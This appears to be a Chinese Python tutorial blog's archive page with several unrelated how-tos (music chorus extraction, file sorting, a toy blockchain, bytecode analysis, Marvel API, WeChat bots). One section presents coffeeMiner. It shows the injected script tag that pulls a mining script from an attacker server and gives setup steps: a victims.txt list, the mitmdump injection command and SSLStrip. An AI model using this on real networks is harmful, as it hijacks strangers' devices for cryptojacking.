分类目录归档:生活智能化

Python 超简单3行代码提取音乐高潮(批量提取实战教程)

有些时候,为了设定手机铃声或者发抖音视频,我们会耗费大量时间在剪辑音乐高潮部分上。那么这个音乐高潮的提取能不能自动化呢?当然可以。

1.原理简介

不知道大家有没有这样的体会,大部分时候,歌曲的高潮部分通常是重复次数最多的部分。因此我们可以根据这一个特征,提出我们的算法

1.遍历整首歌曲。

2.将选定长度的部分与其他部分比较并计算相似度,以查看是否重复。

3.寻找重复次数较大、且间隔长的片段。

2.代码编写

为了避免造轮子,我们找到了别人已经做过的类似的项目:

https://github.com/vivjay30/pychorus

我们只需要分析这个源代码中最核心的部分,即求相似区段的源代码:

def compute_similarity_matrix_slow(self, chroma):
    """
    虽然慢,但是直接的方法来计算区段相似矩阵
    """
    num_samples = chroma.shape[1]
    time_time_similarity = np.zeros((num_samples, num_samples))
    for i in range(num_samples):
        for j in range(num_samples):
        # 检测每一段的相似度
            time_time_similarity[i, j] = 1 - (np.linalg.norm(chroma[:, i] - chroma[:, j]) / sqrt(12))
    return time_time_similarity 

可以看到,这部分代码就是做了我们算法的第二步,进行了片段与片段之间的相似度计算。检测时用到的相似函数是这样的:

这主要是因为歌曲由12个基本音符的帧的集合而组成,v1和v2是任意两段音乐的音符矢量,如果说两段音乐非常相似,那么右边的式子将接近于0. 如果说 1-右边的式子 得分非常高,则说明两段音乐非常相似

下面我们看看怎么使用这个项目求音乐高潮部分,其实非常简单。

2.1 安装所需要的项目

你可以通过pip安装该项目,如果你还没有安装好Python相关环境,建议阅读这篇文章:Python安装

pip install pychorus

2.2 编写代码

实际上,这个包用起来可是相当简单,如果我们只是想单纯提取歌曲高潮部分:

from pychorus import find_and_output_chorus
chorus_start_sec = find_and_output_chorus("你的音乐文件", "输出高潮部分文件", 要多少秒的高潮部分) 

没错,两行代码就解决了。下面让我们检验一下效果。

3.效果检验

以《孤芳自赏》 为例,让我们试试这个提取器的功力。

原曲:

https://pythondict-1252734158.file.myqcloud.com/home/www/pythondict/wp-content/uploads/2019/11/2019112414210248.mp3

编写代码:

# 提取音乐高潮部分
from pychorus import find_and_output_chorus
chorus_start_sec = find_and_output_chorus("孤芳自赏.mp3", "孤芳自赏_high.wav", 40)

效果如下:

https://pythondict-1252734158.file.myqcloud.com/home/www/pythondict/wp-content/uploads/2019/11/2019112414230277.wav

非常优秀!提取了我心目中想要的部分。大家也可以根据我们今天的教程,试着提取一下自己喜欢的音乐的高潮部分哦!

4.批量提取

刚刚,只是完成了单首歌曲的高潮提取,如果你想提取整个文件夹下的音乐的高潮部分,可以这样做:

# Python 实用宝典
# 提取音乐高潮部分
# 2020/06/11

import os
import sys
from pychorus import find_and_output_chorus


def extract_all_file(files_path):
    """
    批量提取音乐高潮

    Args:
        files_path (str): 文件夹路径
    """

    # 文件夹路径
    modpath = os.path.dirname(os.path.abspath(sys.argv[0]))

    for filepath in os.listdir(files_path):

        # 路径处理
        datapath = os.path.join(modpath, files_path + filepath)

        # output文件夹是否存在
        targets = f"{modpath}\\output\\"
        if not os.path.exists(targets):
            os.makedirs(targets)

        # 提取音乐高潮至当前output文件夹下
        find_and_output_chorus(
            datapath, f"{targets}{filepath.split('.')[0]}_high.wav", 40
        )


extract_all_file("F:\\push\\20200611\\music\\")

这样就可以实现批量提取音乐高潮的功能。

我们的文章到此就结束啦,如果你希望我们今天的Python 教程,请持续关注我们,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们都会耐心解答的!

音乐相关教程:

Python 批量下载网易云音乐歌单

Python 制作音乐高潮副歌提取器

Python Django快速开发音乐高潮提取网(1)

Python Django快速开发音乐高潮提取网(2)

Python Django快速开发音乐高潮提取网(3)

Python 超方便超快速剪辑音乐

Python 提取音乐频谱并可视化


​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

教你怎么用 Python 自动一键整理文件

Python 自动整理文件是一个非常容易实现的工具。以前,我经常习惯性地把下载下来的东西放在桌面或者下载文件夹中,使用完后再也没管它,久而久之桌面便变得乱七八糟到后面再整理的时候就非常痛苦了,巴不得有一个自动整理的工具帮我归类文档。

不知道你是不是有过跟我一样糟糕的体验,不过,我们现在完全可以用Python做一个这样的工具来根据后缀名整理文件先来看看效果:

自动整理前:

自动整理后:

效果非常好,舒服多了如果你想要直接下载源代码试试看,请关注文章最下方的Python实用宝典公众号,后台回复 文件自动整理 获得源代码下载地址。

1.一键整理文件

开始之前,你要确保Python和pip已经成功安装在电脑上,如果没有,请访问这篇文章:超详细Python安装指南 进行安装。

(可选1) 如果你用Python的目的是数据分析,可以直接安装Anaconda:Python数据分析与挖掘好帮手—Anaconda,它内置了Python和pip.

(可选2) 此外,推荐大家用VSCode编辑器来编写小型Python项目:Python 编程的最好搭档—VSCode 详细指南

你只需要修改源代码主程序中调用 auto_organize 函数的参数即可完成对对应文件的整理,比如我想整理  C:\Users\83493\Downloads 文件夹:

if __name__ == "__main__":    auto_organize(r"C:\Users\83493\Downloads")

如上所示,修改代码第61行的文件夹地址即可。修改完成后运行该脚本:

python auto_files.py

就能瞬间完成对指定文件夹的整理,极其方便。

你只需要修改源代码主程序中调用 auto_organize函数的参数即可完成对对应文件的整理,比如我想整理  C:\Users\83493\Downloads 文件夹:

if __name__ == "__main__":    auto_organize(r"C:\Users\83493\Downloads")


如上所示,修改代码第61行的文件夹地址即可。修改完成后运行该脚本:

python auto_files.py

就能瞬间完成对指定文件夹的整理,极其方便:

2.整理文件原理

为了整理这些文件,我们要遍历当前指定的文件夹:如果是文件夹则跳过,如果是文件则检测后缀,分类到对应的文件夹中。文件夹名字及其对应的文件后缀如下:

DIRECTORIES = {
    "图片": [".jpeg", ".jpg", ".tiff", ".gif", ".bmp", ".png", ".bpg", "svg",
               ".heif", ".psd"],
    "视频": [".avi", ".flv", ".wmv", ".mov", ".mp4", ".webm", ".vob", ".mng",
               ".qt", ".mpg", ".mpeg", ".3gp", ".mkv"],
    "文档": [".oxps", ".epub", ".pages", ".docx", ".doc", ".fdf", ".ods",
             ".odt", ".pwi", ".xsn", ".xps", ".dotx", ".docm", ".dox",
             ".rvg", ".rtf", ".rtfd", ".wpd", ".xls", ".xlsx", ".ppt",
             "pptx",".csv",",pdf"],
    "压缩文件": [".a", ".ar", ".cpio", ".iso", ".tar", ".gz", ".rz", ".7z",
                ".dmg", ".rar", ".xar", ".zip"],
    "影音": [".aac", ".aa", ".aac", ".dvf", ".m4a", ".m4b", ".m4p", ".mp3",
             ".msv", "ogg", "oga", ".raw", ".vox", ".wav", ".wma"],
    "文本": [".txt", ".in", ".out"],
    "编程": [".py",".html5", ".html", ".htm", ".xhtml",".c",".cpp",".java",".css"],
    "可执行程序": [".exe"],
}

接下来是自动整理的部分代码,先遍历指定的文件夹,识别后缀并分类到对应的文件夹中。

    for entry in os.scandir(dirval):
        if entry.is_dir():
            # 如果是文件夹则跳过
            continue
        file_path = Path(dirval + "\\" + entry.name)
        file_format = file_path.suffix.lower()
        # 避免后缀大小写判断问题,全转为小写
        if file_format in FILE_FORMATS:
            directory_path = Path(dirval + "\\" + FILE_FORMATS[file_format])
            directory_path.mkdir(exist_ok=True)
            file_path.rename(directory_path.joinpath(entry.name))

还有出现不存在在我们字典里的后缀的情况,把它们分类到名为 其他文件 的文件夹中:

    try:
        os.mkdir(dirval + "\\" +"其他文件")
    except:
        pass

    for dir in os.scandir(dirval):
        try:
            if dir.is_dir():
                # 删除空文件夹
                os.rmdir(dir)
            else:
                temp = str(Path(dir)).split('\\')
                # 分割文件路径
                path = '\\'.join(temp[:-1])
                print(path + '\\其他文件\\' + str(temp[-1]))
                os.rename(str(Path(dir)), path + '\\其他文件\\' + str(temp[-1]))
        except:
            pass

最后再把以上这些部分整理成函数即可。关注文章最下方的Python实用宝典公众号,后台回复 文件自动整理 获得源代码下载地址。

3.自定义整理

如果你并不想按照设定好的文件整理,希望能自定义地将某些特定后缀的文件放到另一个文件夹,比如 .py 文件统一收纳到“Python脚本”文件夹中,你可以这么改 DIRECTORIES 变量:

改动前:

DIRECTORIES = {
    # ......
    "编程": [".py",".html5", ".html", ".htm", ".xhtml",".c",".cpp",".java",".css"],
    # ......
}

改动后:

DIRECTORIES = {
    # ......
    "编程": [".html5", ".html", ".htm", ".xhtml",".c",".cpp",".java",".css"],
    "Python脚本": [".py"],
    # ......
}

你可以按照这个方法,自定义收纳那些你需要整理收纳的文件格式。

如果你只想对 DIRECTORIES 变量里那些后缀的文件进行整理,不属于这些后缀的文件则不进行整理,不需要放到“其他文件”目录下,此时要怎么做?

很简单,你只需要删除以下部分代码就可以完成这个功能:

# ......
    try:
        os.mkdir(dirval + "\\" +"其他文件")
    except:
        pass

    for dir in os.scandir(dirval):
        try:
            if dir.is_dir():
                # 删除空文件夹
                os.rmdir(dir)
            else:
                temp = str(Path(dir)).split('\\')
                # 分割文件路径
                path = '\\'.join(temp[:-1])
                print(path + '\\其他文件\\' + str(temp[-1]))
                os.rename(str(Path(dir)), path + '\\其他文件\\' + str(temp[-1]))
        except:
            pass
# ......

怎么样,是不是很方便?如果喜欢的话记得给我点个赞哦。

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python 搭建简单的食品安全溯源区块链

部分引用自: Satwik Kansal
Develop a blockchain application from scratch in Python

这两天比特币暴涨到了9000美元,除了习大大重点点名的影响,还有明年4月比特币区块减半的因素在里面。不过这些都不是今天这篇文章的重点,今天我们要重点关注的是比特币的事务(在帐户之间转移比特币)的原理——区块链。并用它来搭建一个简单的去中心化的食品安全溯源区块链。

区块链是一种存储数字数据的方式,数据可以是任何内容。对于比特币而言,它就是账户之间转移比特币的事务,我们还可以将其应用到食品安全领域,那就是保存食品制作过程中的各个步骤的时间、原料、制作者等。

用区块链记录这些过程十分具备优势,因为区块链可以具备以下特点:

  • 1.历史记录无法修改(本文重点讨论)
  • 2.数据去中心化保存
  • 3.无单点故障

扫描文章下方二维码关注Python实用宝典公众号,回复食品安全溯源可获得完整源代码。

1.将数据存储到区块中

我们将用json保存我们想要的数据,以下是一个例子:

{
    "timestamp": "1572185927665", 
    "source": "香肠加工", 
    "recorder": "小詹"
}

2.让区块不可被更改

为了保证历史记录无法被修改,一旦被修改我们能检测出对区块的数据的任何篡改,因此我们需要用到哈希函数SHA256,它能从任何一种数据中心创建数字指纹,以保证数据的唯一性。下面是一个例子:

from hashlib import sha256
data = "TEST".encode("utf-8")
print(sha256(data).hexdigest())

然后我们将哈希得到的结果保存到区块的一个字段里,其作用类似于它所包含的数据的数字指纹:

from hashlib import sha256
import json
class Block: 
    def compute_hash(self):  
        """ 
        对区块进行哈希计算
        """ 
        block_string = json.dumps(self.__dict__, sort_keys=True) 
        return sha256(block_string.encode()).hexdigest()

3.链接区块

我们已经设置好了区块,但区块链应该是一个区块集合,我们可以把所有的区块存储在列表中,但是这远远不够,如果有人故意替换了一个区块怎么办?我们需要采用某种方法来确保对过去的区块的任何更改都会造成整个链的失效。我们将通过哈希值将区块连接起来,即将前一个区块的哈希值包含在当前区块中。所以如果当前的区块的内容发生更改,该区块的哈希值也会发生更改,导致与下一个区块的前一个区块(previous_hash)的哈希字段不匹配

每一个区块都根据previous_hash字段链接到前一个区块,但是第一个区块(创始区块)怎么办?大多数情况下,我们将手动为他赋值。

将index、时间戳、数据段和previous_hash加到区块类的初始化中:

from hashlib import sha256
import json
class Block: 
    def __init__(self, index, data, timestamp, previous_hash):
        self.index = index 
        self.data = data
        self.timestamp = timestamp
        self.previous_hash = previous_hash 

    def compute_hash(self):  
        """ 
        对区块进行哈希计算
        """ 
        block_string = json.dumps(self.__dict__, sort_keys=True) 
        return sha256(block_string.encode()).hexdigest()

这是我们的区块链类:

class Blockchain:
    def __init__(self): 
        self.unconfirmed_data = [] # 尚未进入区块链的数据
        self.chain = []
        self.create_genesis_block()
 
    def create_genesis_block(self): 
        """
        生成创始区块(genesis block)并将其附加到链中的函数。
        该块的索引为0,previous_hash为0,并且是一个有效的散列。
        """
        genesis_block = Block(0, [], time.time(), "0")
        genesis_block.hash = genesis_block.compute_hash()
        self.chain.append(genesis_block)
 
    @property
    def last_block(self): 
        return self.chain[-1]

4.工作量证明算法

其实这样做,还远远不够。因为我们更改前一个区块就可以非常轻松地计算后续所有区块的哈希值,创建一个不同且有效的区块链。为了预防这种情况,我们必须让计算哈希值的任务变得困难和随机化。

我们将引入一个约束条件和一个叫nonce的随机数的新字段。这个约束条件就是块哈希开头部分的零 (前导零) 的个数,随机数会不断变化,直到我们获得满足约束条件的哈希值。前导零的数量决定了工作量证明算法的难度。看看下面比特币出块图就知道了,比特币的难度的不断增加是通过增加前导零的数量实现的。

假设我们的难度是2,则编写工作量证明算法代码如下:

class Blockchain: 
    # 前面的代码略
    # 难度
    difficulty = 2
    def proof_of_work(self, block): 
        """
        函数尝试不同的随机数以获得满足我们难度的块哈希。
        """
        block.nonce = 0
        computed_hash = block.compute_hash()
        while not computed_hash.startswith('0' * Blockchain.difficulty): 
            block.nonce += 1
            computed_hash = block.compute_hash()
        return computed_hash 

这样做有一个好处:只能通过暴力破解确定随机数,这就是为什么现在挖矿行业这么火爆的原因。

5.将区块添加到链中

要将区块添加到链中,我们得先验证工作量证明是否正确,以及要添加的区块的previous_hash 字段是否指向链中最新区块的哈希值。

class Blockchain:
    # 前面的代码略
    def is_valid_proof(self, block, block_hash):
        """
        工作量证明验证,并确保previous_hash正确
        """
        return (block_hash.startswith('0' * Blockchain.difficulty) and
                block_hash == block.compute_hash())

    def add_block(self, block, proof):
        """
        在验证成功后将块链接起来
        """
        previous_hash = self.last_block.hash
        if previous_hash != block.previous_hash: 
            return False
        if not self.is_valid_proof(block, proof): 
            return False
        block.hash = proof
        self.chain.append(block)
        return True

6.挖矿

数据将存储在unconfirmed_data中,将unconfirmed_data中的数据放入区块中并计算工作量证明的过程称为挖矿。一旦找到满足约束条件的随机数,就可以说我们挖到了一个区块,这个区块就会放入区块链中。

在比特币中,作为对耗费算力来计算工作量证明的奖励,矿工可以获得一些加密货币,以下是我们的挖矿函数:

class Blockchain:
# 前面代码略
    def add_new_data(self, data): 
        self.unconfirmed_data.append(data)
 
    def mine(self): 
        """
        此函数充当一个接口,将未决数据添加到块中并计算工作证明,
        然后将它们添加到区块链。
        """
        if not self.unconfirmed_data: 
            return False
 
        last_block = self.last_block
 
        new_block = Block(index=last_block.index + 1,
                          data=self.unconfirmed_data,
                          timestamp=time.time(),
                          previous_hash=last_block.hash)
 
        proof = self.proof_of_work(new_block)
        self.add_block(new_block, proof)
        self.unconfirmed_data = []
        return new_block.index

测试

现在,这条链基本建造完成了,让我们试一试效果。尝试往里面添加一个区块:

def new_data(data): 
    # 这里传入字典数据或json数据都可以
    required_fields = ["source", "recorder"]
    for field in required_fields: 
        if not data.get(field): 
            return "Invlaid data"
    data["timestamp"] = time.time()
    bc.add_new_data(data)
    return "Success"
bc = Blockchain()
a = new_data({"source": "香肠加工", "recorder": "小詹"})
print(a)

添加成功:

F:\push\20191027>python block.py
Success

现在数据是在 unconfirmed_data 中,我们需要挖矿,让它成功添加到区块链上:

def new_data(data): 
    # 这里传入字典数据或json数据都可以
    required_fields = ["source", "recorder"]
    for field in required_fields: 
        if not data.get(field): 
            return "Invlaid data"
    data["timestamp"] = time.time()
    bc.add_new_data(data)
    return "Success"
def get_chain(blockchain): 
    chain_data = []
    for block in blockchain.chain: 
        chain_data.append(block.__dict__)
    return json.dumps({"length": len(chain_data),
                       "chain": chain_data})

def mine_unconfirmed_transactions(blockchain): 
    result = blockchain.mine()
    if not result: 
        print("No data need to mine")
    print("Block #{} is mined.".format(result))

bc = Blockchain()
a = new_data({"source": "香肠加工", "recorder": "小詹"})
print(a)
mine_unconfirmed_transactions(bc)

输出结果:

F:\push\20191027>python block.py
Success
Block #1 is mined.

现在来看看区块链上是不是有两个区块了(一个创始块,一个我们新增的区块)显示数据:

def get_chain(blockchain): 
    chain_data = []
    for block in blockchain.chain: 
        chain_data.append(block.__dict__)
    return json.dumps({"length": len(chain_data),
                       "chain": chain_data})

print(get_chain(bc)) 

结果:

F:\push\20191027>python block.py
 Success
 Block #1 is mined.
 {"length": 2, "chain": [{"index": 0, "data": [], "timestamp": 1572187230.2847784, "previous_hash": "0", "hash": "f30161fc8ffa278f26713a73780b939fe9734d9d459fe4307e72926d9eb9c3aa"}, {"index": 1, "data": [{"source": "\u9999\u80a0\u52a0\u5de5", "recorder": "\u5c0f\u8a79", "timestamp": 1572187230.2847784}], "timestamp": 1572187230.2847784, "previous_hash": "f30161fc8ffa278f26713a73780b939fe9734d9d459fe4307e72926d9eb9c3aa", "nonce": 0, "hash": "0026b22937fdcb24978814dd26cdf64a6210966c26914e66b73ca68805f1cd5a"}]}

非常nice,这样我们就成功新建了一个非常简单的食品安全溯源区块链,当然离上线还有很远的距离(如去中心化及建立共识),但是万事开头难,解决了开头部分,后续就不再会有什么难题了。

扫描文章下方二维码关注Python实用宝典公众号,回复食品安全溯源可获得完整源代码。

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python 利用公共WiFi挖矿(开源项目仅作研究)

BTC收益

挖矿是什么?只要你加入矿池,提供一定的算力,你就能获得收益。比如poolin矿池,1TH算力的每日收益是1.15元人民币,如果你有一台16TH的矿机,每日的收益就是1.15*16=18.4元,当然,净利润还要去除电费成本。

但是矿机的成本不容忽视,一台16TH的全新矿机价格需要约为3000元上下,二手也要接近千元。如果你买了一台16TH的二手矿机,你需要近54天才能回本。如果说能“借用”他人的算力进行挖矿,那可就太舒服了。西班牙有位叫阿尔诺的开发人员就想到了,能不能利用公共wifi网络进行挖矿呢?

这就是coffeeMiner脚本的用处,它利用中间人攻击的原理,将类似于下面的HTML代码注入到非HTTPS的网页中。

 <script src="http://httpserverIP:8000/.js" type="text/java"></script>

一旦这个脚本被加载,就会执行服务器上的java代码,将本机变成一名矿工,抽取CPU时间,利用挖矿软件来挖名为Monero的加密货币。

不过,它的缺点是对HTTPS页面的请求不起作用,加上SSLStrip可以补上这一不足。 整个脚本都是Python写的,如果你有兴趣可以访问这个项目: coffeeMiner

该项目简单的使用教程

  • 1.执行安装脚本:install.sh
bash install.sh
  • 2.编辑 victims.txt ,一行一个IP
  • 3.编辑 coffeeMiner.py, 第二十八行,将10.0.2.20改为你的矿工服务器的IP:
os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")
  • 4.执行 coffeeMiner.py
python coffeeMiner.py ipgateway

如果你无法访问github,也可以关注下方Python实用宝典公众号,回复 coffeeminer 获得完整源代码。

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

python Dis模块进行代码性能分析

​Python代码在执行的时候,会被编译为Python字节码,再由Python虚拟机执行Python字节码。有时候就我们执行python文件的时候会生成一个pyc文件,这个pyc文件即用于存储Python字节码指令,而这些字节码是一种类似于汇编指令的中间语言,但是每个字节码对应的不是机器指令,而是一段C代码。

而Dis模块,就是用于查看这些字节码的运行轨迹,因此我们可以用Dis模块判断两个函数的内存占用谁会更大,谁会更消耗CPU性能,不仅如此,通过指令,我们还可以知道Python中一些内置函数、变量的取值过程、运行逻辑,对于我们代码性能并优化代码很有帮助。

下面将通过两个例子,来介绍Dis模块的使用。

1.为什么下面第一个函数比第二个函数耗得内存更少?

def test1(a):
    if 0 < a and a < 1:
        return 1
    return 0

def test2(a):
    if 0 < a < 1:
        return 1
    return 0

一般人是比较难直接看出来的,但是我们使用Dis模块却能很容易找到答案:

import dis
def test1(a):
    if 0 < a and a < 1:
        return 1
    return 0


def test2(a):
    if 0 < a < 1:
        return 1
    return 0

dis.dis(test1)
print('*'*50)
dis.dis(test2)

结果:

dis结果

Dis的结果其实很容易阅读:

第一列:对应的源代码行数。
第二列:对应的内存字节码的索引位置。
在第一列和第二列之间的 >> 号表示跳转的目标
第三列:内部机器代码的操作。
第四列:指令参数。
第五列:实际参数。

两个函数的dis分析用*号隔开了,大家可以清晰地看到两个函数之间的语句区别。第二个函数的字节码索引最大到了30,而第一个函数的字节码索引最大仅到了22,因此,第一个函数耗得内存比第二个函数少。

而且,在第一列和第二列之间的 >> 号表示跳转的目标,大家可以看第二个函数第四列的 18,表示其跳转到了索引为18的指令,也就是ROT_TWO。第二个函数的跳转也比第一个函数多,这也可能导致其在某种特殊情况下的效率可能会比第一个函数低。

2.为什么Python2中,while True 比 while 1慢?

while 1:
    pass
 
while True:
    pass

可以通过在命令中使用dis进行分析:

可以看到,while 1 在第二行是直接JUMP_ABSOLUTE,因此相比于While True 少了LOAD_NAME 和 POP_JUMP_IF_FALSE。这是因为True在Python2中不是一个关键字,而是一个内置变量,因此每次Python都会用LOAD_NAME去检查(POP_JUMP_IF_FALSE)True的值。这就是为什么While True 比while 1慢的原因。

到了Python3,True变成了关键字,就没有这个问题了:

Python 3 针对 Python 2 做了非常多的替换,这也是为什么它不兼容 Python 2 的原因之一,差别太大了。因此,建议各位初学者直接上手 Python 3 进行学习,而非 Python 2.

希望以上两个Dis模块的使用例子能给大家带来一点灵感,分析一段Python代码的深层次性能问题虽然比较费时费力,但是一旦你分析到了深层次的性能原因,将能累积不少深层次的技术上的知识,写出更漂亮的代码。

我们的文章到此就结束啦,如果你希望我们今天的Python 教程,请持续关注我们,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们都会耐心解答的!


​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python使用“漫威API”探索漫威宇宙

在看漫威系列电影的时候,你是不是经常会对一些角色感到好奇,想知道每个角色的关联关系和出场的事件,但是却无从下手?

现在,我们有很好的来帮助我们实现这些想法了!Marvel Comics API 允许各地的开发人员访问漫威70年来庞大的漫画信息。接下来就来告诉大家怎么使用这个漫威

1.注册账号获得API访问权限

访问下面的链接注册一个漫威开发者

https://developer.marvel.com/signup

跟着步骤走,接受它的使用条款后就能得到public key(公钥)和 private key(私钥)了:

2.pip安装相应的第三方工具

在pip中输入以下命令安装marvel包(默认你已经安装好了python和pip哦,如果你还没有安装,建议阅读这个教程:python安装)

pip install marvel

这个包是这个漫威API的封装器,里面封装了许多查询工程,方便我们使用,我们不需要理解怎么发送post请求向漫威api调用数据,仅仅使用一个语句,将我们刚刚获得的公钥和私钥传入进去,就可以拿到数据。

公钥秘钥示例

获取所有角色:

import marvel
PUBLIC_KEY = '你的公钥'
PRIVATE_KEY = '你的私钥'
m = marvel.Marvel(PUBLIC_KEY, PRIVATE_KEY)
characters = m.characters
all_characters = characters.all()
print(all_characters)

获取单个角色:

import marvel
PUBLIC_KEY = '你的公钥'
PRIVATE_KEY = '你的私钥'
m = marvel.Marvel(PUBLIC_KEY, PRIVATE_KEY)
characters = m.characters
character = characters.get(1011334)
print(character)

获取一些角色的漫画:

import marvel
PUBLIC_KEY = '你的公钥'
PRIVATE_KEY = '你的私钥'
m = marvel.Marvel(PUBLIC_KEY, PRIVATE_KEY)
characters = m.characters
comics = characters.comics(1011334)
print(comics)

同样,您可以将相同的逻辑应用于不同的对象,例如:

import marvel
PUBLIC_KEY = '你的公钥'
PRIVATE_KEY = '你的私钥'
m = marvel.Marvel(PUBLIC_KEY, PRIVATE_KEY)
stories = m.stories
all_stores = stories.all()
story = stories.get(id)
events = stories.events(id)
print(stories, all_stores, story, events)

最后,每个对象具有的子资源如下:

  • 人物
    • allgetcomicseventsseriesstories
  • 漫画
    • allgetcharacterscreatorseventsstories
  • 创作者
    • allgetcomicseventsseriesstories
  • 活动
    • allgetcharacterscomicscreatorsseriesstories
  • 系列
    • allgetcharacterscomicscreatorseventsstories
  • 故事
    • allgetcharacterscomicscreatorseventsseries

3. 使用API找到雷神出现过的漫画

想要使用API查找灭霸出现过的所有漫画,你就得先知道雷神的角色ID(character ID), 我们通过角色名字得到角色对应的ID:

import marvel
PUBLIC_KEY = '你的公钥'
PRIVATE_KEY = '你的私钥'
m = marvel.Marvel(PUBLIC_KEY, PRIVATE_KEY)
characters = m.characters
def get_hero_id(characters, name):
    all_characters = characters.all(nameStartsWith=name)
    # 根据名字获得角色信息,仅支持英文
    ids = [i['id'] for i in all_characters['data']['results']]
    names = [i['name'] for i in all_characters['data']['results']]
    return ids,names
ids, names = get_hero_id(characters, 'thor')

结果:

(base) ckenddeMacBook-Pro:20190925 ckend$ python 1.py
[1009664, 1017576, 1017106, 1017315, 1017328, 1017302, 1011025, 1010820] ['Thor', 'Thor (Goddess of Thunder)', 'Thor (MAA)', 'Thor (Marvel Heroes)', 'Thor (Marvel War of Heroes)', 'Thor (Marvel: Avengers Alliance)', 'Thor (Ultimate)', 'Thor Girl']

可以看到我们好像得到了不同系列下的雷神,以1009664为例,获得雷神出现过的漫画。

import marvel
PUBLIC_KEY = '你的公钥'
PRIVATE_KEY = '你的私钥'
m = marvel.Marvel(PUBLIC_KEY, PRIVATE_KEY)
characters = m.characters
def get_hero_id(characters, name):
    all_characters = characters.all(nameStartsWith=name)
    # 根据名字获得角色信息,仅支持英文
    ids = [i['id'] for i in all_characters['data']['results']]
    names = [i['name'] for i in all_characters['data']['results']]
    return ids,names
ids, names = get_hero_id(characters, 'thor')
comics = characters.comics(ids[0])
# ids[0]即1009664
print([i['title'] for i in comics['data']['results']])

结果如下:

(base) ckenddeMacBook-Pro:20190925 ckend$ python 1.py
 ['THOR VOL. 2: ROAD TO WAR OF THE REALMS TPB (Trade Paperback)', 'Marvel Masterworks: The Mighty Thor Vol. 18 (Hardcover)', 'King Thor (2019) #1', 'Thor Epic Collection: The Black Galaxy (Trade Paperback)', 'Thor (2018) #16', 'THOR & LOKI: BLOOD BROTHERS GALLERY EDITION HC (Hardcover)', 'Thor Of The Realms (Trade Paperback)', 'War Of The Realms Omega (2019) #1', 'Thor (2018) #15', 'The Unbeatable Squirrel Girl (2015) #46', 'Kirby Is… Mighty! King-Size (Hardcover)', 'Thor (2018) #14', 'War of the Realms (2019) #5', 'MARVEL ACTION CLASSICS: SPIDER-MAN TWO-IN-ONE 1 (2019) #1', 'Thor (2018) #13', 'Moon Girl and Devil Dinosaur (2015) #43', "Decades: Marvel in The '80s - Awesome Evolutions (Trade Paperback)", 'War of the Realms (2019) #3', 'The Art of War of the Realms (Trade Paperback)', 'Mighty Thor 3D (2019) #1']

可以看到,雷神一共在十九部作品里出现过哦。怎么样,是不是特别方便的工具

我们的文章到此就结束啦,如果你希望我们今天的Python 教程,请持续关注我们,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们都会耐心解答的!


​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python超简单玩转微信自动回复

今天给大家介绍一个Python模块叫wxpy,它在 itchat 的基础上,通过大量接口优化提升了模块的易用性,并进行丰富的功能扩展

注意:强烈建议仅使用小号运行机器人!从近期 (17年6月下旬) 反馈来看,使用机器人存在一定概率被限制登录的可能性。主要表现为无法登陆 Web 微信 (但不影响手机等其他平台)。

项目主页

https://github.com/youfou/wxpy

用来干啥

一些常见的场景

  • 控制路由器、智能家居等具有开放接口的玩意儿
  • 运行脚本时自动把日志发送到你的微信
  • 加群主为好友,自动拉进群中
  • 跨号或跨群转发消息
  • 自动陪人聊天
  • 逗人玩

总而言之,可用来实现各种微信个人号的自动化操作

轻松安装

wxpy 支持 Python 3.4-3.6,以及 2.7 版本,假设你已经完成了Python的基本安装,如果没有的话请见这篇教程:Python 安装教程

  1. 从 PYPI 官方源下载安装 (在国内可能比较慢或不稳定):
pip install -U wxpy
  1. 从豆瓣 PYPI 镜像源下载安装 (推荐国内用户选用):
pip install -U wxpy -i "https://pypi.doubanio.com/simple/"

超简单上手

登陆微信:

# 导入模块
from wxpy import *
# 初始化机器人,扫码登陆
bot = Bot()

找到好友:

# 搜索名称含有 "游否" 的男性深圳好友
my_friend = bot.friends().search('游否', sex=MALE, city="深圳")[0]

发送消息:

# 发送文本给好友
my_friend.send('Hello WeChat!')
# 发送图片
my_friend.send_image('my_picture.jpg')

自动响应各类消息:

# 打印来自其他好友、群聊和公众号的消息
@bot.register()
def print_others(msg):
    print(msg)

# 回复 my_friend 的消息 (优先匹配后注册的函数!)
@bot.register(my_friend)
def reply_my_friend(msg):
    return 'received: {} ({})'.format(msg.text, msg.type)

# 自动接受新的好友请求
@bot.register(msg_types=FRIENDS)
def auto_accept_friends(msg):
    # 接受好友请求
    new_friend = msg.card.accept()
    # 向新的好友发送消息
    new_friend.send('哈哈,我自动接受了你的好友请求')

保持登陆/运行:

# 进入 Python 命令行、让程序保持运行
embed()

# 或者仅仅堵塞线程
# bot.join()

其他

强大的wxpy模块还有其他功能哦,比如:

  1. 发送文本、图片、视频、文件
  2. 通过关键词或用户属性搜索 好友、群聊、群成员等
  3. 获取好友/群成员的昵称、备注、性别、地区等信息
  4. 加好友,建群,邀请入群,移出群

我们的文章到此就结束啦,如果你希望我们今天的Python 教程,请持续关注我们,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们都会耐心解答的!


​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

7行代码 Python热力图可视化分析缺失数据处理

